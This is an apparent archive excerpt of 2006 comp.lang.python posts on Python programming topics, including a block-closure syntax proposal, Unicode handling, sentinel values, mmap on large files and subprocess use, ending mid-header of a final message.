those inline with 'lambda' expressions!  And what about nesting?  And
then there's the term "lambda", while a great homage to Lisp and
computation theory, just isn't the friendliest programming
vocab term.

(from my limited understanding,) Ruby block-closures assume a specific
use case: You want to pass exactly one multiline, defined-right-there
closure to a method when calling it.  Therefore, you should get to
define the closure *immediately following* the method call.  I suggest
a Python version with a keyword 'using' (or 'with'?) that takes the
block of code as a closure, and passes it to the method call as the
*last argument*.  The above example becomes:

    deferred.addCallback() using response:
        print "fancy formatting %s" % response.text

and in general, the following two code snippets are equivalent:

    def _f(x,y):
        [do stuff with x and y]
    function_with_callback(a,b,c, _f)

    function_with_callback(a,b,c) using x,y:
        [do stuff with x and y]
    next_statement()

... where function_with_callback wants a 2-arg function as its last
argument.  It gets to call _f, or equivalently the defined-right-there
closure/ruby-block, however it wants to -- wait for an I/O operation to
finish, whatever. I'm not so hot about the fact that it looks like
addCallback() should be completed before the 'using' keyword kicks in,
but this is the simplest I could think of.

This syntax does not let you define a new function and store it as a
local variable.  Python already has inline 'def' for that (that is, you
can do a 'def' in any block of code you want, and it stays local to
that scope.)  It does not, strictly speaking, let you do anything new
-- as Guido has stated, you could ditch lambda and achieve the
equivalent by declaring the
little callback function as an inline 'def', like in the first deferred
example here.

This only optimizes for the case of defining a closure only for the
purpose of passing it in as an argument to a method.  However, this
must be the only use for anonymous functions in Python, since we
already have inline 'def'. I've always felt that passing in a lambda in
lisp and python, or the equivalent anonymous function(x,y) {} in
javascript, or anonymous classes in java, was always awkward.  You have
to think about defining a new anonymous
function *within* your method call and such, and then you have to close
parantheses after it -- it's just weird, I dunno.

This proposal could also handle some of the use cases mentioned in PEP
310 and 340.  If you design your callback-taking functions to have only
one callback and have it as the last argument, you can trivially write
lock acquition (omit 'using' for a no-arg block-closure):

    def protect(lock, f):
        lock.acquire()
        f()
        lock.release()

    protect(myLock):
        [do stuff that needs myLock to be acquired]

Of course, the definition of protect() might have try/finally wrapped
around the f() call.  (Interestingly, this starts looking like a way to
define new control-like structures.  I haven't thought through the
implications.)

ActiveRecord, Rails' object-relational mapper, does almost exactly this
for database transactions, and I have found it quite nice:

    # User is a sqlobject/sqlalchemy/django/whatever ORM class;
    # User.transaction is a class method executing its passed-in
    #closure within
    #  the user table's START TRANSACTION and STOP TRANSACTION.

    user1, user2 = getTwoUsers()
    User.transaction() using user1, user2:
        someRaceConditionProneStuff(user1, user2)
        moreRaceConditionProneStuff(user1, user2)

There might be some sort of overlap with PEP 343 and the 'with'
statement, but I'm not sure exactly.  Sorry I'm late to the game and
commenting on last year's PEP's, but I've only started reading them.
Note that PEP's 343 and 340 are very focused on resource management --
but I think that letting one define code blocks as closures could make
resource handling routines be easily written in Python.  Furthermore,
tons more stuff -- like Deferreds and such -- could be added.  (Ruby
uses block-closures to do really basic constructs such as foreach
iteration.  Python does a fine job with "for x in L" and list and
generator comprehensions... enough so that map/lambda is obsolete!  I'm
just trying to see if there are use cases in Python for
block-closures.)

I've been trying to search for similar proposals but have come up dry.
Anything like this out here?  I hear Ruby blocks are heavily inspired
by Smalltalk; anyone know more?

Is it feasible to assume the primary use of closures is as part of an
argument list, and such argument lists will want only one argument that
is a closure?  Does doing so avoid any big annoyances of functional
programming?

Is this completely, totally incompatible with the current state of
Python and previous deliberations :) ?  e.g. I haven't thought much
about how this would interact with yield and generators.

But really, I'm just idly curious -- does anyone think this might be
useful?

Take care,
Brendan



From ram0812 at hotmail.com  Tue Oct  3 04:24:22 2006
From: ram0812 at hotmail.com (Raja Raman Sundararajan)
Date: 3 Oct 2006 01:24:22 -0700
Subject: Overriding builtin getattr method
Message-ID: <1159863862.889561.325340@m73g2000cwd.googlegroups.com>

Hello guys,
    I have data stored in the database which has special characters
like <, > etc.
Case 1: Whenever I wanted to present the output to a browser
      I need to escape these special characters into the browser
equivalent like &lt;  &gt; etc.( for example by using the cgi module)
Case 2: Whenever I wanted to present the output to some client other
than a browser, I wanted to present the data as it is stored in the
database.

For doing this I thought of overriding the __builtin__.__getattr__
method.
I am wondering if there is any other way of achieving this. I have
loads of files that get the attribute values of objects stored in the
database and I do not want to manually change the way of DB access in
those files. I rather prefer a centralized way to achieve this.

Good inputs are always appreciated.
:-)
Raja



From rNOSPAMon at flownet.com  Sat Oct 21 12:38:17 2006
From: rNOSPAMon at flownet.com (Ron Garret)
Date: Sat, 21 Oct 2006 09:38:17 -0700
Subject: Why doesn't this work?
Message-ID: <rNOSPAMon-00D0BD.09381721102006@news.gha.chartermi.net>

Python 2.3.5 (#1, Jan 30 2006, 13:30:29) 
[GCC 3.3 20030304 (Apple Computer, Inc. build 1819)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from datetime import datetime
>>> class ts(datetime):
...   def __init__(self): pass
... 
>>> ts()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: function takes at least 3 arguments (0 given)
>>>


From has.temp3 at virgin.net  Tue Oct  3 18:13:14 2006
From: has.temp3 at virgin.net (has)
Date: 3 Oct 2006 15:13:14 -0700
Subject: was python implemented as a object oriented langage at the
	beginning ?
In-Reply-To: <1159879673.081812.124460@i3g2000cwc.googlegroups.com>
References: <f3a8ca7c0610030506k2fb6040ai9e256049ebf9100e@mail.gmail.com>
	<mailman.1162.1159878320.10491.python-list@python.org>
	<1159879673.081812.124460@i3g2000cwc.googlegroups.com>
Message-ID: <1159913594.141208.280030@i3g2000cwc.googlegroups.com>

MonkeeSage wrote:
> [...] just because a language doesn't implement OO in the
> exact same way as another doesn't mean it isn't OO -- it just means
> it's a different language.

I've a suspicion that folk who aren't familiar with the Python object
system automatically assume the phrase 'Python types' means
C++/Java-style primitives - which it doesn't. Python's type/class
distinction may be klunky and inelegant, but it's still OO.



From ptmcg at austin.rr._bogus_.com  Fri Oct 13 12:24:23 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 13 Oct 2006 16:24:23 GMT
Subject: SOAPpy and callback
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
	<_8NXg.46981$DU3.27448@tornado.texas.rr.com>
	<4p9r78Fi2olfU1@uni-berlin.de>
Message-ID: <X4PXg.47137$DU3.34168@tornado.texas.rr.com>

"Diez B. Roggisch" <deets at nospam.web.de> wrote in message 
news:4p9r78Fi2olfU1 at uni-berlin.de...
> Paul McGuire schrieb:
>> "Diez B. Roggisch" <deets at nospam.web.de> wrote in message 
>> news:4p94a0Fhr1amU1 at uni-berlin.de...
>>> fabien.benard at gmail.com schrieb:
>>>> Hello,
>>>>
>>>> I'm trying to find how to use a callback in a SOAP client using SOAPpy.
>>>> Does SOAPpy have to manage it, or does Python include some API to do
>>>> it?
>>> I've never seen any callback mentioned in SOAP. Are you sure this is 
>>> possible with any SOAP implementation, at least standard-wise?
>> This is most definitely possible, in fact it is the basis for a new 
>> asynchronous data collection standard for semiconductor equipment, 
>> Interface A (replacing the ancient SECS/GEM interface, originally 
>> designed to work over RS-232).  However, it is a major pain to implement.
>
>
> I don't call 'you can do that on your own' as standard-wise.
>
> Certainly you can run two servers, make sure they are mutually reachable, 
> and client and server share the same process space.
>
> But that is not a callback - it is, as you say, a PITA. And a massive lack 
> in the SOAP standard.
>
> Regards,
>
> Diez

I like your term "standard-wise".  Although there is nothing in the SOAP 
"standard" that prevents this architecture, it is probably open for 
discussion whether it is "wise."

As it happens, the client and server *don't* share the same process space - 
they don't even share the same computer.

And it *does* work, I'm running the software on a couple of systems in my 
office right now.

-- Paul




From hanumizzle at gmail.com  Fri Oct 13 14:58:18 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 14:58:18 -0400
Subject: Best IDE?
In-Reply-To: <slrneivjph.8o.horpner@FIAD06.norwich.edu>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<mailman.448.1160750276.11739.python-list@python.org>
	<slrneivjph.8o.horpner@FIAD06.norwich.edu>
Message-ID: <463ff4860610131158k428bcb53gb258a1d1f2a9d187@mail.gmail.com>

On 13 Oct 2006 19:37:57 +0200, Neil Cerutti <horpner at yahoo.com> wrote:

> Disadvantages:
>
> * Totally configurable.

I invested a lot of time in Emacs and Vim before that...I still use
Vim over SSH (and its Ruby support is the best of the two IMO)

-- Theerasak


From Peter.Beattie at web.de  Sun Oct  8 08:41:35 2006
From: Peter.Beattie at web.de (Peter Beattie)
Date: Sun, 08 Oct 2006 14:41:35 +0200
Subject: Painless way to do 3D visualization
In-Reply-To: <1160261890.778808.216180@h48g2000cwc.googlegroups.com>
References: <4oqohkFfm09vU1@uni-berlin.de>
	<1160261890.778808.216180@h48g2000cwc.googlegroups.com>
Message-ID: <4os9vvFg4ld3U1@uni-berlin.de>

faulkner wrote:
> http://www.vpython.org/

Oh, thanks, but let me quote myself:

>> So far, I've only tinkered a little with VPython, but the lack
>> of any decent documentation has proved to be a major turn-off.

So, I'd really appreciate any hints as to where to look for anything a
little more usable.

-- 
Peter


From michael.pearmain at tangozebra.com  Wed Oct 18 12:00:57 2006
From: michael.pearmain at tangozebra.com (Mike P)
Date: 18 Oct 2006 09:00:57 -0700
Subject: Win32 python and excel macros
In-Reply-To: <1161186121.020753.20810@b28g2000cwb.googlegroups.com>
References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com>
	<1161186121.020753.20810@b28g2000cwb.googlegroups.com>
Message-ID: <1161187257.657252.87000@m73g2000cwd.googlegroups.com>

Thanks for your advice on this matter,

I'm actually using Excel 2003!! so it shows how much i know!

i did manage to get the prog to run with the line
xl.Application.Run("CTP.xla!sheet1.CTP")

but it didn't do anything... i'm guessing it is along the lines of wht
you were saying earlier about big output being the active worksheet.

I'll give that a go now

Thanks for the advice

Mike



From python.sam at googlemail.com  Fri Oct  6 16:12:25 2006
From: python.sam at googlemail.com (sam)
Date: 6 Oct 2006 13:12:25 -0700
Subject: error handling in user input: is this natural or just laborious
Message-ID: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>

hi all,

i'm starting to put together a program to simulate the performance of
an investment portfolio in a monte carlo manner doing x thousand
iterations and extracting data from the results.

i'm still in the early stages, and am trying to code something simple
and interactive to get the percentages of the portfolio in the five
different investment categories. i thought i'd get in with the error
handling early so if someone types in something wrong (like a word), or
the numbers don't add up to 100%, the error would be caught immediately
and the user sent back to the start of the loop. granting that there
may be better ways of doing this, if i decide that i do want to do it
like this (i.e. a single error requires all data to be re-entered, not
unreasonable for only five items), is this a good way of doing it or a
confusing way of doing it from the perspective of readability and
maintenance:

while True:

	cash, bond, blue, tech, dev = 0,0,0,0,0
	check=False

	try:
		cash=input('Please enter a cash percentage for the portfolio: ')
	except NameError:
		print 'That is not a number. Please start again and remember to enter
integers.'
	else:
		try:
			bond=input('Please enter a bond portfolio for the portfolio: ')

		except NameError:
			print 'That is not a number. Please start again and remember to
enter integers.'
		else:
			try:
				blue=input('Please enter a blue-chip percentage for the portfolio:
')
			except NameError:
				print 'That is not a number. Please start again and remember to
enter integers.'
			else:
				try:
					tech=input('Please enter a tech stocks percentage for the
portfolio: ')
				except NameError:
					print 'That is not a number. Please start again and remember to
enter integers.'
				else:
					try:
						dev=input('Please enter a developing countries index for the
portfolio: ')
						check=True
					except NameError:
						print 'That is not a number. Please start again and remember to
enter integers.'

	if cash+bond+blue+tech+dev==100:
		break
	if cash+bond+blue+tech+dev!=100 and check!= False:
		print 'Those numbers do not sum to 100. Please start again.'



i know it's a bit verbose, but it was the nested try clauses i was
really wondering about. is the code immediate legible to experienced
python users? or does it look like gibberish at first?

just hoped for some fresh eyes on it.

thanks,

sam

PS making check=True just saves the code from printing 'those numbers
don't sum to 100' if they haven't all been entered, which looks kind of
silly.



From ptmcg at austin.rr._bogus_.com  Fri Oct  6 14:45:56 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 06 Oct 2006 18:45:56 GMT
Subject: Need array help
References: <EkwVg.362$P92.105@trndny02>
Message-ID: <EvxVg.14443$5o5.2613@tornado.texas.rr.com>

"Marion Long Jr" <mlongjr at verizon.net> wrote in message 
news:EkwVg.362$P92.105 at trndny02...
>I am switching from microsoft visual basic programming to python 
>programming.

Also, in anticipation of one of the most FA'ed Q's among VB->Python 
migrators, you must always include the parens after a function name to 
invoke the function.  That is, to call the method MethodWithNoArguments, you 
cannot write (as one would in VB):

val = MethodWithNoArguments

This simply assigns the method MethodWithNoArguments to name 'val'.  To 
invoke the method and assign the returned value to val, write:

val = MethodWithNoArguments()

And please don't ask for Python to be changed to be more VB-like in this 
regard - let Python be Python! :)

And welcome to the Python world!

-- Paul




From rtw at freenet.co.uk  Mon Oct 30 09:16:42 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Mon, 30 Oct 2006 08:16:42 -0600
Subject: Calling GNU/make from a Python Script
References: <45462091@news.bezeqint.net>
Message-ID: <Xns986C910677844rtwfreenetREMOVEcouk@216.196.109.145>

Efrat Regev wrote in news:45462091 at news.bezeqint.net in comp.lang.python:

>    Hello,
> 
>    I need to call GNU/make from within a Python script. This raised some 
> problems:
> 1. The script is not in the directory of the makefile, and changing the 
> locations of either is not an option. Consequently, the makefile fails, 
> since it can't find the targets/dependencies.
> 2. After searching around, it seems that os.system(..) should be avoided 
>   if there's an alternative. Is there one in this case?
> 

USe the subprocess module, in particular see

Popen: http://docs.python.org/lib/node529.html

and call: http://docs.python.org/lib/node530.html

you will need to use the "cwd" argument.

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From steve at holdenweb.com  Mon Oct 23 12:10:47 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 17:10:47 +0100
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
In-Reply-To: <ehioo2$fef$1@sea.gmane.org>
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org>
Message-ID: <ehipg5$j11$1@sea.gmane.org>

Fredrik Lundh wrote:
> M?ta-MCI wrote:
> 
> 
>>For the professional developments, it is a major risk.
> 
> 
> some days, I ask myself why I shouldn't just use GPL for everything I 
> do, and ship it as source code only.
> 
To which I presume the answer is that you are considerate of Windows 
users who'd rather not compile their own Windows applications due to the 
cost of using the commercial compilers and the complexity of using the 
open source ones.

Whatever the reasons, a vote of thanks to all extension authors who *do* 
bother to compile for Windows (despite complaints from others who don't 
feel this happens quickly enough).

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From chengiz at my-deja.com  Fri Oct 20 20:36:43 2006
From: chengiz at my-deja.com (chengiz at my-deja.com)
Date: 20 Oct 2006 17:36:43 -0700
Subject: Pygtk but no gtk?
In-Reply-To: <mailman.861.1161370909.11739.python-list@python.org>
References: <1161370274.621757.299970@m73g2000cwd.googlegroups.com>
	<mailman.861.1161370909.11739.python-list@python.org>
Message-ID: <1161391003.170792.314160@e3g2000cwe.googlegroups.com>

> my pygtk provides
> /usr/lib/python2.4/site-packages/gtk-2.0/gtk/__init__.py, which contains
> the gtk module. You should ensure that you have that file, and if not,
> find out where to get it.

I had the files stored in my local space and my PYTHONPATH was wrong.
It seems PYTHONPATH should contain both ...lib/python2.x and
...lib/python2.x/site-packages while mine was simply ...lib (one'd
expect them to actually mention this in the documentation). Once I
fixed PYTHONPATH, it ran fine, although I still cant figure out why it
got pygtk in the first place coz it wasnt in PYTHONPATH the first time.

Khan



From tjreedy at udel.edu  Tue Oct  3 14:32:13 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 3 Oct 2006 14:32:13 -0400
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <mailman.948.1159542291.10491.python-list@python.org><1159545255.339364.299020@k70g2000cwa.googlegroups.com><mailman.955.1159545644.10491.python-list@python.org><1159546522.251704.301530@b28g2000cwb.googlegroups.com><mailman.956.1159547188.10491.python-list@python.org><1159552048.354214.198180@e3g2000cwe.googlegroups.com><mailman.991.1159599674.10491.python-list@python.org><1159762765.943691.139690@b28g2000cwb.googlegroups.com><mailman.1072.1159766782.10491.python-list@python.org><1159774531.004015.7390@e3g2000cwe.googlegroups.com><1159853705.946422.70220@b28g2000cwb.googlegroups.com><1159855375.951848.195790@m73g2000cwd.googlegroups.com><1159888289.071764.274400@e3g2000cwe.googlegroups.com><1159894194.296766.181670@m73g2000cwd.googlegroups.com><1159895939.769126.146630@i42g2000cwa.googlegroups.com>
	<1159896793.505478.232500@i42g2000cwa.googlegroups.com>
Message-ID: <efuabc$p9l$1@sea.gmane.org>


"> Forgot to mention this, in case you haven't done so post your original
> message/patch on the python-dev lists since that's where the decisions
> are made. This group is more end-user oriented.
>
> http://mail.python.org/pipermail/python-dev/2006-October/thread.html

It is often good to get community input first, as the OP has done.  When he 
wishes, the OP should submit his latest (not original) version of the patch 
to SourceForge (not the list) and then optionally post a new message with a 
link to the SF item for discussion.

tjr





From antroy at gmail.com  Sun Oct  1 15:29:25 2006
From: antroy at gmail.com (Ant)
Date: 1 Oct 2006 12:29:25 -0700
Subject: The Python world tries to be polite [formerly offensive to
	another language]
In-Reply-To: <efo6oj$ce6$1@mlucom4.urz.uni-halle.de>
References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com>
	<1159555450.721085.51710@h48g2000cwc.googlegroups.com>
	<mailman.990.1159598785.10491.python-list@python.org>
	<1159601820.592847.42160@i3g2000cwc.googlegroups.com>
	<mailman.996.1159603783.10491.python-list@python.org>
	<_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net>
	<efo6oj$ce6$1@mlucom4.urz.uni-halle.de>
Message-ID: <1159730965.869927.322910@h48g2000cwc.googlegroups.com>


Mirco Wahab wrote:
> Thus spoke A.M. Kuchling (on 2006-09-30 19:26):
> > On Sat, 30 Sep 2006 09:10:14 +0100,
> > Steve Holden <steve at holdenweb.com> wrote:

> Thats it. What is the fuzz all about? I consider 'hyper fatarrow'
> (you did't the ?=>? get right) just a joke of LW
> (he does so sometimes ;-).

Don't think so, I followed the thread along a little, and it seems to
be correct. In addition, they seem to have the ? character as the Perl
6 equivalent of zip(). Those crazy guys. Actually this post cracked me
up (Subject: My first functional perl6 program):
http://www.nntp.perl.org/group/perl.perl6.language/25953

Either the poster has posted a binary file, or the Perl 6 syntax is
crazier than anyone could have imagined! ;-)



From no-spam at no-spam-no-spam.com  Thu Oct 26 17:16:31 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 23:16:31 +0200
Subject: which one of these is better?
In-Reply-To: <Yu-dnbqskNs0mdzYnZ2dnUVZ_q-dnZ2d@comcast.com>
References: <BR60h.167$1n3.4240@news.tufts.edu>
	<Yu-dnbqskNs0mdzYnZ2dnUVZ_q-dnZ2d@comcast.com>
Message-ID: <ehr8jh$25fs$1@ulysses.news.tiscali.de>

Michael B. Trausch wrote:

> Not really ?ber-qualified to say anything, but I think that the
> following would be better:
> 
> try:
> 	f = open('file.sql')
> 	script = f.read()
> 	f.close()
> except IOError:
> 	wx.MessageBox('Message', 'Message Title')
> 
>> Do they both do the same thing?
>>
> 
> Not sure about the with-- I just went to read the PEP on it, and it
> confused me greatly.  :-)  So, I don't know.
> 

when .read() fails the file will not be close here.

to replace the 'with' solution you#d need:


try: 
  f=open(path)
  try: 
      script=f.read()
  finally:
      f.close()
except EnvironmentError,v:
  wx.MessageBox(v, 'Message Title')




-robert


From JohnRoth1 at jhrothjr.com  Fri Oct 20 11:07:21 2006
From: JohnRoth1 at jhrothjr.com (John Roth)
Date: 20 Oct 2006 08:07:21 -0700
Subject: Unicode support in python
In-Reply-To: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
Message-ID: <1161356841.238729.271470@h48g2000cwc.googlegroups.com>


sonald wrote:
> Hi,
> I am using python2.4.1
>
> I need to pass russian text into python and validate the same.
> Can u plz guide me on how to make my existing code support the
> russian  text.
>
> Is there any module that can be used for unicode support in python?
>
> Incase of decimal numbers, how to handle "comma as a decimal point"
> within a number
>
> Currently the existing code is woking fine for English text
> Please help.
>
> Thanks in advance.
>
> regards
> sonal

As both of the other responders have said, the
coding comment at the front only affects source
text; it has absolutely no effect at run time. In
particular, it's not even necessary to use it to
handle non-English languages as long as you
don't want to write literals in those languages.

What seems to be missing is the notion that
external files are _always_ byte files, and have to
be _explicitly_ decoded into unicode strings,
and then encoded back to whatever the external
encoding needs to be, each and every time you
read or write a file, or copy string data from
byte strings to unicode strings and back.
There is no good way of handling this implicitly:
you can't simply say "utf-8" or "iso-8859-whatever"
in one place and expect it to work.

You've got to specify the encoding on each and
every open, or else use the encode and decode
string methods. This is a great motivation for
eliminating duplication and centralizing your
code!

For your other question: the general words
are localization and locale. Look up locale in
the index. It's a strange subject which I don't
know much about, but that should get you 
started.

John Roth



From horpner at yahoo.com  Mon Oct 16 14:50:50 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 16 Oct 2006 20:50:50 +0200
Subject: Alphabetical sorts
References: <4aQYg.6347$fl.1193@dukeread08>
Message-ID: <slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>

On 2006-10-16, Ron Adam <rrr at ronadam.com> wrote:
>
> I have several applications where I want to sort lists in
> alphabetical order. Most examples of sorting usually sort on
> the ord() order of the character set as an approximation.  But
> that is not always what you want.

Check out strxfrm in the locale module.

>>> a = ["Neil", "Cerutti", "neil", "cerutti"]
>>> a.sort()
>>> a
['Cerutti', 'Neil', 'cerutti', 'neil']
>>> import locale
>>> locale.setlocale(locale.LC_ALL, '')
'English_United States.1252'
>>> a.sort(key=locale.strxfrm)
>>> a
['cerutti', 'Cerutti', 'neil', 'Neil']

-- 
Neil Cerutti


From mail at microcorp.co.za  Tue Oct 31 10:26:14 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 31 Oct 2006 17:26:14 +0200
Subject: Tkinter Listbox string formatting question - how to kill
	adancingsnake ?
References: <02a901c6fcbf$181c51a0$03000080@hendrik><ei71k0$tkq$1@sea.gmane.org>
	<009d01c6fcf6$75782400$03000080@hendrik>
Message-ID: <00e801c6fd01$3e5fd3e0$03000080@hendrik>

"Hendrik van Rooyen" <mail at microcorp.co.za> wrote:

> "Fredrik Lundh" <fredrik at pythonware.com> wrote:
>
> > instead of trying to force the listbox to behave like a multicolumn
> > widget, maybe you could switch to another widget?  some alternatives include
> >
> >      a Text widget (you have to roll your own selection logic)
>
> I _really_ don't feel strong enough for this, or for sticking them loose on a
> canvas...
8<--------------------------------

sorry - thought has just occurred to me - my basic problem is text formatting,
as variable width fonts make it difficult to get two things to line up under one
another by using spaces as padding  - so how would the Text widget have
helped me with this ?  or - Luxury ! - can I set a tab stop in pixels ?
- maybe I can catch a general clue here...

- Hendrik




From 3dbernard at gmail.com  Thu Oct 19 21:38:42 2006
From: 3dbernard at gmail.com (Bernard Lebel)
Date: Thu, 19 Oct 2006 21:38:42 -0400
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>
	<7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>
Message-ID: <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com>

Hi,

That's because I'm using Python through another application, via the
pywin32 extensions. When that other application starts, it performs
several thousands of file requests (we're talking 4,500, roughly) in
the Python installation, locations where there are Python files, and
in some other locations that don't make sense. This adds considerable
time to the startup time of the application, we're talking between 2
and 9 seconds.

This a problem with the application, not Python. But I'm looking for
ways to minimize this overhead so the users of this application waste
less time waiting after the startup.


Thanks
Bernard



On 10/19/06, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> You can't; part of the standard library are .pyd/.dll files.
> Those existence checks should be fairly fast - why are you worried about them?


From bignose+hates-spam at benfinney.id.au  Fri Oct 27 01:23:33 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 15:23:33 +1000
Subject: Sentinel values for special cases
References: <mailman.1308.1161912647.11739.python-list@python.org>
	<1161922018.807346.163290@k70g2000cwa.googlegroups.com>
Message-ID: <87fydae3hm.fsf@benfinney.id.au>

"Paddy" <paddy3118 at netscape.net> writes:

> None is what Python readers would expect as a sentinel value, but if
> any of your data fields could have None as a valid value then you may
> have to switch to a module level constant.
> Be wary of using sentinel values which are strings, if your data could
> itself be a string - make sure the sentinel value is not valid data,
> and always use the sentinel name and not its value from then on.

I don't think "be wary" is appropriate; I think a blanket "don't use
strings for sentinel values" is fine. In your example below:

> it is very wrong to do this sort of thing:
>
> NO_DATA = '::NO_DATA::'
>
> def xyz(a,b,c):
>   if a == '::NO_DATA::':
>     # blah blah blah

You should not use a string for that constant at all. Its only purpose
is to be a sentinel value, so just make it a unique object instance:

    NO_DATA = object()

    def xyz(a,b,c):
      if a is NO_DATA:
        # blah blah blah

The sentinel value for the 'a' parameter to 'foo.xyz()' is then
'foo.NO_DATA', nothing else. We're now checking by 'is', not '==', so
there's no way to pass the sentinel value to the function unless it's
that specific object. It's impossible to get that particular value any
other way, so you avoid the possibility of accidentally getting the
sentinel as part of the data.

I don't see any advantage a string would have to make it worth using
over the above type of sentinel.

> If you are having difficulty working out what to use as a sentinel
> value for your data then you could declare a Sentinel class and use
> that:

Just use the plain 'object' class, since the instance name will make
its meaning clear, and other instances don't need to share any
behaviour or semantics.

-- 
 \           "There is no reason anyone would want a computer in their |
  `\          home."  -- Ken Olson, president, chairman and founder of |
_o__)                                    Digital Equipment Corp., 1977 |
Ben Finney



From bignose+hates-spam at benfinney.id.au  Mon Oct 23 19:00:55 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 24 Oct 2006 09:00:55 +1000
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org>
Message-ID: <87wt6qskm0.fsf@benfinney.id.au>

Fredrik Lundh <fredrik at pythonware.com> writes:

> M?ta-MCI wrote:
> > For the professional developments, it is a major risk.
>
> some days, I ask myself why I shouldn't just use GPL for everything
> I do, and ship it as source code only.

Many popular programs *do* ship as source only, and leave it to the
community to build and make available binaries for platforms that the
community wants. This way, the developers don't have to maintain
builds for anything but the platforms they actually care about, and a
particular platform is supported only to the extent that third parties
put effort into it and share the result.

I don't see why you shouldn't do the same.

-- 
 \       "If you make people think they're thinking, they'll love you; |
  `\         but if you really make them think, they'll hate you."  -- |
_o__)                                      Donald Robert Perry Marquis |
Ben Finney



From sturlamolden at yahoo.no  Tue Oct 24 18:19:01 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 24 Oct 2006 15:19:01 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <453E4E01.9050304@v.loewis.de>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161651103.875210.170140@i42g2000cwa.googlegroups.com>
	<453E4E01.9050304@v.loewis.de>
Message-ID: <1161728341.087325.274570@b28g2000cwb.googlegroups.com>


Martin v. L?wis wrote:

> You know this isn't true in general. It is true for a 32-bit address
> space only.

Yes, but there are two other aspects:

1. Many of us use 32-bit architectures. The one who wrote the module
should have considered why UNIX' mmap and Windows' MapViewOfFile takes
an offset parameter. As it is now, "mmap.mmap" can be considered
inadequate on 32 bit architectures.

2. The OS may be stupid. Mapping a large file may be a major slowdown
simply because the memory mapping is implemented suboptimally inside
the OS. For example it may try to load and synchronise huge portions of
the file that you don't need. This will deplete the amout of free RAM,
and perhaps result in excessive swapping. "mmap.mmap" is therefore a
potential "tarpit" on any architecture. Thus, memory mapping more than
you need is not intelligent, even if you do have a 64 bit processor.
The missing offset argument is essential for getting adequate
performance from a memory-mapped file object.



From cao.yiqun at gmail.com  Thu Oct  5 19:21:50 2006
From: cao.yiqun at gmail.com (Eddie)
Date: 5 Oct 2006 16:21:50 -0700
Subject: profiling memory usage
Message-ID: <1160090510.346379.285400@c28g2000cwb.googlegroups.com>

Hi,

I am looking for a method to profile memory usage in my python program.
The program provides web service and therefore is intended to run for a
long time. However, the memory usage tends to increase all the time,
until in a day or two the system cannot handle it any more and starts
to do constant swapping. Is there a way to look at which objects or
variables are taking the huge amount of memory space?

Thanks,

Eddie



From rupole at hotmail.com  Wed Oct 18 18:50:33 2006
From: rupole at hotmail.com (Roger Upole)
Date: Wed, 18 Oct 2006 18:50:33 -0400
Subject: Reading a Microsoft access file.
References: <mailman.714.1161203760.11739.python-list@python.org>
Message-ID: <1161212053_56899@sp6iad.superfeed.net>

<infotechsys at pivot.net> wrote in message news:mailman.714.1161203760.11739.python-list at python.org...
>I googled for the answer but all the answer seem to imply that you
> have to have Access installed on your system. I have a file that was
> created using Access and I want develop a Python script to
> read the file and produce a report. Can this be done, if could you point
> me to some doc?
> Thanks.
> Wayne
>

Access is just a frontend for the Jet database engine.
You should be able to access the file via database API's
from any system that has the Jet database driver installed.
(which is practically all Windows systems anymore)

         Roger





From lycka at carmen.se  Thu Oct 12 05:28:59 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Thu, 12 Oct 2006 11:28:59 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrneicdjt.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
